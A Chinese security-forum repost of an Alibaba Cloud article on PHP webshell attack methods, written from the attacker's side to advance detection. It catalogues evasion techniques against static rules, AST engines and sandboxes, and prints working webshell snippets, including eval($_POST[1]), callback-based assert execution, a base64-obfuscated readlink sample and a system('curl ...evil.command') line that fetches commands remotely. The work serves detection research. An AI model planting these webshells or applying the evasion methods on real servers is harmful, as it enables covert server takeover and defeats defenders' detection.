安全矩阵

 找回密码
 立即注册
搜索
查看: 4288|回复: 0

PHP Webshell那些事-攻击篇

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2020-8-2 08:56:04 | 显示全部楼层 |阅读模式
本帖最后由 gclome 于 2020-8-2 08:57 编辑

原文链接HP Webshell那些事-攻击篇

前言

Webshell是网站入侵的常用后门,利用Webshell可以在Web服务器上执行系统命令、窃取数据、植入病毒、勒索核心数据、SE0挂马等恶意操作,危害极大。

所谓Webshell,主要指可以被例如apache、tomcat、nginx在内的webserver即时解释执行的脚本语言编写而成的文本文件,其本质是一种text文本文件。因其隐秘性、基于脚本、灵活便捷、功能强大等特点,广受黑客们的喜爱,因此Webshell的检测也成为云安全防御的重点,甚至成为网站安全防御的一个标配。

在阿里云云安全中心,Webshell检测已是主机安全系统的标配功能。安骑士是阿里云安全自研的主机安全系统,Webshell检测是其基础功能之一,安骑士会实时监控Webshell文件的植入,经过后台的检测引擎分析后,实时向客户推送入侵告警信息。

近几年攻防对抗不断升级,防御的挑战越来越大,攻防的战场已经不再是谁见的样本多,而越来越转向方法论层面的对抗,攻击者往往会倾向于找到某种方法论体系,通过体系层面,来对防守方发起挑战。安骑士Webshell检测系统在对抗的过程中,逐步发展出了静态规则+动态规则+词法ast解析+动态模拟执行+机器学习等多种综合手段,目的也是为了尽量提高攻击绕过的门槛和成本,缓解Webshell攻击问题。



    本文作为这个系列文章的开篇,会着重从攻击者视角,用体系化的方式介绍当前业内Webshell攻击的主要方法论以及具体技术细节。目的是希望能给业内同行带来一些启发,共同进步,提升检测防御能力。

在后续的文章后,我们还会陆续推出各种恶意代码语言的攻击方式方法论分析,以及安骑士在检测方面的技术积累,希望能和同行有更多交流机会。


Webshell攻击的体系化认知

俗话说,“工欲善其事必先利其器”,作为工程师,体系化认知就是我们最好的“利器”,初期点状的知识积累固然没有太大问题,但是越往后深入,对体系化认知的需求就会越强,它能让你把笔记本读薄。

也许在读这篇文章之前,读者朋友已经了解过非常多的PHP Webshell攻击技巧、名词,例如



    • 字符串拼接
    • 隐式数据类型转换
    • preg_replace
    • 各种callback
    • 等等...

但是这篇文章,我们尝试对各种方式进行“格物”,建立一个概念框架,因为一旦概念框架建立后,我们就可以在概念框架内进行自由地发散思考,同时又不至于陷入局部的最优中,而忽略了全盘上的星星点点。




1、利用PHP语言特性

PHP是一种动态弱类型语言,参数传递、类型转换、函数调用方式都非常灵活,这给开发者带来开发便利的同时,也给攻击者编写各种畸形恶意代码带来了很多便利,通过翻阅PHP手册,我们可以查到很多奇技淫巧,例如:








但是这里,笔者整理了一个思考框架,我们可以基于这个思考框架,有效地进行各种变形手段的组合。

我们将构成每个webshell的基本概念组件进行打散,抽象出若干原子逻辑概念组件,我们称之为【一级概念组件】,在每个一级概念组件下都有多个【二级实例组件】。每个二级实例组件都是在对应一级概念下的一个具体实现。


  • 攻击者传入外部指令参数的方式


    • 从内置全局数组中获取外部参数


      • $_GET["op"]
      • $GLOBALS['_POST']['op']
    • 利用环境变量相关函数获取外部参数


      • getenv('HTTP_CONNECTION')
    • 将外部参数作为文件/目录信息写入磁盘
    • 将外部参数存入output buffering缓存中
    • 利用PHP原生函数获取外部参数


      • get_defined_vars
      • getallheaders
      • phpinfo
    • 利用输入/输出流获取外部参数
    • 利用网络请求从远程IP获取外部参数


      • file_get_contents
      • get_meta_tags
    • 利用xml处理函数获取外部参数


      • simplexml_load_string
    • 利用数据库相关扩展获取外部参数


      • mysql
      • memcache
      • redis
    • 利用本地变量注册获取外部参数


      • parse_url
      • extract
  • 动态生成数值和字符串的方式


    • 动态生成数组键值


      • 利用try-catch存储和生成当前数组key
      • 利用另一个数组变量存储当前数组key
      • 利用time延时逻辑生成当前数组key
      • 利用random逻辑生成当前数组key
    • 动态生成参数名称


      • 利用运算符技术


        • 自增
        • 异或
        • 取非
        • 取反
    • 动态生成函数名称


      • 利用字符串拼接技术
      • 利用explode字符串分组技术
  • 对字符串内容进行编码/解码的方式


    • 利用BASE64编码/解码上技术
    • 利用字符串顺序逆转相关技术
    • 利用文本替换相关技术
    • 利用0x16进制编码字符串
  • 向函数传入实参/变量的方式  


    • 利用array callback相关函数实现参数传递
    • 利用define宏定义方式实现参数传递
    • 利用自定义加/解密函数进行处理后再进行参数传递
    • 利用类方法重载的方式实现隐式参数传递


      • __toString方法重载
    • 利用try-catch方式传递函数名


      • try { throw new Exception("system"); }
  • 执行指令的方式


    • 利用PHP原生函数执行指令


      • eval
      • assert
      • system
    • 通过include方式执行指令


      • include ROOT_PATH . $_REQUEST['target'];
    • 通过array callback execute方式实现代码执行


      • ($a = 'assert')&&($b = $_POST['a'])&&call_user_func_array($a, array($b));
      • array_udiff_assoc(array($_REQUEST[$password]), array(1), "assert");
    • 利用动态字符串函数调用特性(PHP中字符串可以直接作为函数名称被调用)


      • $dyn_func = $_GET['dyn_func']; $argument = $_GET['argument']; $dyn_func($argument);
    • 利用序列化/反序列化特性执行指令
    • 利用类构造/析构特性执行指令
    • 利用anonymous (lambda-style) function(匿名函数)执行指令


      • create_function
      • eval("function lambda_n() { eval($_GET[1]); }"); lambda_n();
      • $a = function($b) { system($b); }; $a($_GET['c']);
    • 通过注册系统回调执行指令


      • register_shutdown_function
      • register_tick_function
      • set_error_handler
    • 利用反射技术执行指令
    • 利用PHP ${}特性执行指令
    • 利用系统输出缓存技术执行指令
    • 利用``特性执行系统指令
    • 利用字符串处理回调(string process callback)技术执行指令


      • mbereg_replace
    • 利用静态类方法执行指令


      • class foo { static function a(callable $b) { $b($_GET['c']); } } foo::a('system');
  • 动态改变程序执行流支的技术


    • 利用三元运算符
    • 根据某外部传入参数,决定某IF条件的判断结果
    • 利用header实现二次跳转
    • 通过将外部指令写入系统持久化存储后再通过include执行


      • 磁盘文件
      • 临时文件
      • 内存文件
  • 攻击沙箱/词法引擎的相关特殊技术


    • 代码间插入注释
举一个具体的例子:




上面这个样本有以下几个绕过点:
  • 利用try-catch方式传递函数名
  • 从内置全局数组中获取外部参数
  • 利用动态字符串函数调用特性(PHP中字符串可以直接作为函数名称被调用)
建立这种思考框架有几个好处:
  • php语言特性本身是存在不同的维度的,在每个维度内通过翻阅内核源代码,可以进行充分的穷举
  • php的不同trick之间近似于彼此正交的维度,通过对不同维度进行交叉组合,可以高效地写出大量的绕过样本
  • 有利于攻击者实现对防御者的单点突破,只要找到某个具体的绕过点,围绕这个绕过点,在其他维度上进行衍生,往往可以在短时间内创造出大量的绕过,方便在实战中迅速突破

2、模拟执行覆盖度攻击

业内目前针对PHP Webshell,主流的做法是采用【静态/动态AST词法分析】或者【动态沙箱检测】技术,对这类防御手段来说,攻防博弈的战场在于【模拟引擎的完成度】,具体来说例如:

  • php各类版本、生僻语法的支持度
  • 打断污点追踪
  • 父子类数据共享
  • 引用传递
  • 未定义函数调用
  • 利用报错/容错机制
  • 控制流依赖逃逸
  • 宏定义传递
  • 等等....
我们选取几类重点讲解
2.1、控制流依赖逃逸
以下面这段代码为例:



可以看到,信息(外部参数)的传递并不是直接通过赋值/函数调用来传递的,而是通过控制流来隐式传递的,如果AST引擎或者沙箱不能正确地处理这种语法,则污点信息在传递过程中就会被丢失,导致最后在sink点无法有效检测。

2.2、利用报错/容错机制


2.3、引用传递


这个攻击方式是利用ReflectionFunction映射类配合引用参数修改$args的值,如果引擎没有很好地处理引用,则污点传递会被打断。
2.4、宏定义传递



利用宏变量,实现了外部参数的传递。

3、上下文环境依赖差分攻击

所谓上下文环境依赖差分攻击,是指攻击样本的运行需要依赖特定的上下文环境,从信息论角度来说,这可以理解为一种额外信息,攻防博弈的战场在于信息的获取。安全里面有一个俗话叫“要尽量在攻击发生的现场进行日志捕获、检测、以及防御”,很多离线检测方案,就是因为离第一攻击现场太远了,导致上下文环境信息丢失严重,造成了很多检测和防御上的困难。

3.1、多次运行后才会暴露出真实攻击意图


实际黑客利用时,需要运行多次样本才能触发真正攻击,而沙箱或者AST引擎往往只能运行有限次。即所谓的“黑客知道要怎么运行、用户也知道,就是防御方不知道”,这在实战中也是一个常用的绕过手段。

3.2、借助环境变量等第三方存储暂存外部参数


首先通过putenv传递变量,之后获取变量中的path内容,那么只需要传入c=path=phpinfo();即可完成利用。

这种样本在实际攻击中是容易成功的,因为只要是Linux操作系统,webserver进程一般都会有权限进行环境变量的操作。但是对于检测引擎来说,如果没有正确处理环境变量的存储和获取相关操作,污点参数就是传递失败。

4、攻击流量差分攻击

所谓的攻击流量差分攻击,是一种最常见的攻击绕过过段,其实也是一种思考问题的方式,突破防御,绕过的本质就是要寻找防御系统的差分点,对于PHP Webshell来说,外部传参流量就是一个很关键的差分点。

为了更好地说明这个沙箱,笔者这里引入两个概念,【静态可重入样本】以及【动态不可重复多模态样本】。

所谓【静态可重入样本】就是指大部分的传统的PHP Webshell样本,我们称之为“可重入单模态样本”,这类样本尽管可以利用php的大量tricky特性、使用各种编码、加密手段,代码形式可以极尽复杂,例如

--我是分隔符 m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m 结束--








但是,这种样本,究其根本,其本质都是“可重入的、单模态的”,就是说不管运行多少次,谁来运行(受害者 or 旁路离线引擎),其运行结果都是一样的

从污点追踪理论的角度来说,这一阶段的沙箱,解决的是【显式污点传递问题】,即污点信息流的传递在样本代码中是显式的,只要模拟执行一遍即可100%模拟。

另一方面,对于【动态不可重复多模态样本】来说,这样样本的重点不在于利用了php的哪些tricky语法特性,而在于它的“不可重入性、多模态性”,我们下面用具体例子来解释。


4.1、动态依赖的分支跳转问题(根据输入的参数动态决定执行流和执行动作)

对这个样本来说,外部参数就像一个之路的地图,标识了一个“road chain”,只有严格遵守这个“road chain”运行到最后,才可以看到样本的真实攻击意图。而这对业内很多旁路检测引擎来说,都是一个很大的挑战,在指数级的分支中,一旦走错了一个分支,就会被攻击者实现绕过。


4.2、基于外部参数动态生成函数名


主要攻击以沙箱和动态AST引擎为代表的旁路离线检测技术,离线检测因为丢失了攻击现场的上下文信息,因此较难模拟实际的攻击行为。

4.3、不常见的外部参数传递方式

对于业内常用的【污点追踪检测技术】,各家厂商基本都知道要把PHP常见的HTTP超参数标记为污点,例如GET/POST/COOKIE等。

但实际上,外部参数是一个泛概念,理论上来说,“一切外部可控的输入都是有害的,都需要被跟踪”。外部可控的输入源是一个信道的概念,原则上,只要是符合“外部可控、内容可控”这两个特点的方式,都属于外部可控输入。它们包括但不限于:

  • HTTP输入(GET/POST)参数


    • $GLOBALS[‘_GET’]
    • $GLOBALS[‘_POST’]
    • $GLOBALS[‘_COOKIE’]
    • $GLOBALS[‘_FILES’]
    • $GLOBALS['GLOBALS']['_GET']
    • $GLOBALS['GLOBALS']['_POST']
    • $GLOBALS['GLOBALS']['_COOKIE']
    • $GLOBALS['GLOBALS']['_FILES']
    • $_GET
    • $_POST
    • $_COOKIE
    • $_FILES
    • $_REQUEST
  • HTTP Header信息输入


    • getallheaders()
  • 网络信道输入:只要对源头api的return zval进行污点标记,随后污点标记会随着api sequence被传递


    • file_get_contents()
    • socket_create_listen()
    • socket_listen()
    • curl_init()
  • 通过系统指令包装器执行网络相关指令,从外部网络获取指令信息


    • system():system("curl xxxxx/evil.command")
    • popen()
    • exec()
    • passthru()
    • shell_exec()
    • ``
  • 通过数据库相关操作获取外部可控参数
举一个具体的例子来说:


4.4、外部参数依赖下的条件跳转



条件表达式依赖实际的攻击者传入,对于旁路离线检测,最大的挑战在于,因为缺少对应的参数,会陷入所谓的【分支覆盖问题】。


5、攻击静态检测规则

攻击静态检测规则就是我们常说的,绕过某某厂商的正则检测黑规则。这类攻击方式业内讨论的文章已经非常多了,笔者在这里不再赘述。

笔者希望在这里阐述一个攻击静态检测规则的方法论,即【利用冗余可约分性进行样本变形】。

观察如下3个表达式,将其视作webshell样本的一个逻辑抽象版本:
((X+6)+Y)+X + (if( (X*Y)>0 ){X}else{X} + X*X) + (X + (Y - (X + if(6>0){1}else{0})) )
# X*Y恒大于0,故可约简为:
2*X + Y + 6 + X + X**2 + (X + (Y - (X + if(6>0){1}else{0})) )
# 6恒大于0,故可约简为:
2*X + Y + 6 + X + X**2 + X + Y - X + 1
最后约简得到:
X**2 + 3*X + 2*Y + 5

从最终结果,也就是功能上,上面3个表达式是相等的。

如果将最后一个表达式视为一个最精简版的webshell,例如:
<?php eval($_POST[1]);?>
根据冗余可约简规律,实现同样功能的这个代码,可以有无限多种扩展,这是不可枚举的。
例如:
<?php
link(__FILE__, 'ZXZhbCgkX1JFUVVFU1RbJ2NtZCddKTsK');
link(__FILE__, 'YXNzZXJ0Cg==');
$d = substr(readlink('ZXZhbCgkX1JFUVVFU1RbJ2NtZCddKTsK'), -32);
$e = substr(readlink('YXNzZXJ0Cg=='), -12);
$e = base64_decode($e);
$b = $e[0].'ssert';
$b(base64_decode($d));
unlink('ZXZhbCgkX1JFUVVFU1RbJ2NtZCddKTsK');
unlink('YXNzZXJ0Cg==');

这2个文件在代码架构上,存在非常大的区别。

这种冗余可约简性,直接导致了样本的反汇编结果、apicall序列结果差别非常大。

综上,对于【php一句话webshell】这个概念来说,其包含的集合是一个无限集合,这个问题可能不是一个数据问题(data problem),而是一个机制问题(mechanism problem)。

对于攻击者来说,充分利用这个机制,只要找到了一个绕过样本,就可以进行大量的局部和全局衍生,创造出很多新的绕过样本。


关于我们

阿里云安全-能力建设团队以安全技术为本,结合云计算时代的数据与算力优势,建设全球领先的企业安全产品,为阿里集团以及公有云百万用户的基础安全保驾护航。

团队研究方向涵盖WEB安全、二进制安全、企业入侵检测与响应、安全数据分析、威胁情报等。

阿里云安全-系统安全研发团队,以系统安全为核心,着力解决云上威胁检测和防御等问题。借助云平台优势,构建检测系统,每天处理海量样本。开发检测引擎,发现威胁并实现防御闭环,御敌于外。

技术交流钉钉群:






回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-9-20 07:59 , Processed in 0.015405 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表